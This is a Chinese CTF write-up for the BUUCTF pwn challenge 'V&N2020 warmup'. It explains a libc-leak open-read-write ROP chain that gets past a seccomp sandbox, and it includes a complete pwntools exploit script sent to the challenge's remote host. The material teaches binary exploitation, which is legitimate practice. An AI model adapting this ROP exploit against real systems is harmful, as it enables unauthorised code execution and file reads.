BUUCTF--[V&N2020 公开赛]warmup

一开始直接告诉你libc基址。

有沙盒,分析了一下,write的count不等于0x10就可以,0x30什么的都可以。

嗯,还开了PIE。

很明显了,orw。 问题是开了PIE,b'flag\x00'不能写在BSS上了,同时也不能重复执行main。

怎么办呢,细心的小伙伴会发现我们知道libc的基址,那可以写在libc的bss上面啊。

这是第一段写入,不能溢出。

这是第二段,如果你用gdb调试一下或看看汇编就可以发现,如果这个0x80写满会和上面的0x180连起来。那就很简单了,从libc里面找gadget就好了。

以下是exp:

python 复制代码
from pwn import *
context.arch='amd64'
#io=process('./pwn')
io=remote('node5.buuoj.cn',25603)
libc=ELF('./libc-2.23.so')
io.recvuntil(b'Here is my gift: ')
libc_base=int(io.recv(14),16)-libc.sym['puts']
print('libc_base:',hex(libc_base))
libc.address=libc_base
ope=libc.sym['open']
read=libc.sym['read']
puts=libc.sym['puts']
write=libc.sym['write']
rdi=libc_base+0x21102
rsi=libc_base+0x202e8
rdx=libc_base+0x1b92
push_rsi=libc_base+0x34bcf
bss=libc.bss()
print('bss',hex(bss))
io.recvuntil(b'Input something: ')
payload=p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)
payload+=p64(read)+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(ope)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)+p64(read)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)+p64(write)
io.send(payload)
io.recvuntil(b"What's your name?")
payload=b'a'*0x78+p64(rdi)
io.send(payload)
sleep(0.1)
io.send(b'flag\x00')
io.interactive()

这里注意一点,open的第二个参数一定要特意写一下。

以下是通义千问的解释:

在不指定rsi的情况,open会直接将rsi里面的值作为flag值,而rsi里面有时候存着地址,是一个极大值,可能会引起一些意想不到的问题。例如这题中,执行rop的时候rsi存着的是buf的地址,是一个极大值,一开始我没有pop rsi为0,导致执行了好几遍都没法orw成功,加上了pop rsi 0才成功读出flag。

相关推荐
B2_Proxy1 小时前
如何安全高效管理 TikTok 账号?TikTok 账号运营完整指南
安全
陈天伟教授1 小时前
人工智能应用- 预测新冠病毒传染性:07. 预测不同类型病毒的传播能力
人工智能·神经网络·安全·cnn·xss
黎阳之光3 小时前
AI数智筑防线 绿色科技启新篇——黎阳之光硬核技术赋能生态安全双升级
大数据·人工智能·算法·安全·数字孪生
kang0x04 小时前
Strange - Writeup by AI
安全
m0_466525295 小时前
绿盟科技大模型安全白皮书发布:聚焦智能体风险与防护,护您安全“养虾”
科技·安全
黎阳之光5 小时前
黎阳之光:数智技术赋能水利“平急两用” 筑牢水利工程安全防线
大数据·人工智能·算法·安全·数字孪生
兄弟加油,别颓废了。6 小时前
curl详细使用方法
安全
昊星自动化7 小时前
昊星自动化 以房间为单位气流控制筑牢实验室安全屏障
安全·实验室建设·文丘里阀·房间通风控制
code_pgf7 小时前
Jetson Orin NX 16G设备上配置AI服务自动启动的方案,包括Ollama、llama-server和OpenClaw Gateway三个组件
数据库·人工智能·安全·gateway·边缘计算·llama
Coding的叶子7 小时前
Windows 下 如何安全地安装 龙虾(OpenClaw)
windows·安全·ai·openclaw·龙虾·龙虾安装·龙虾实验室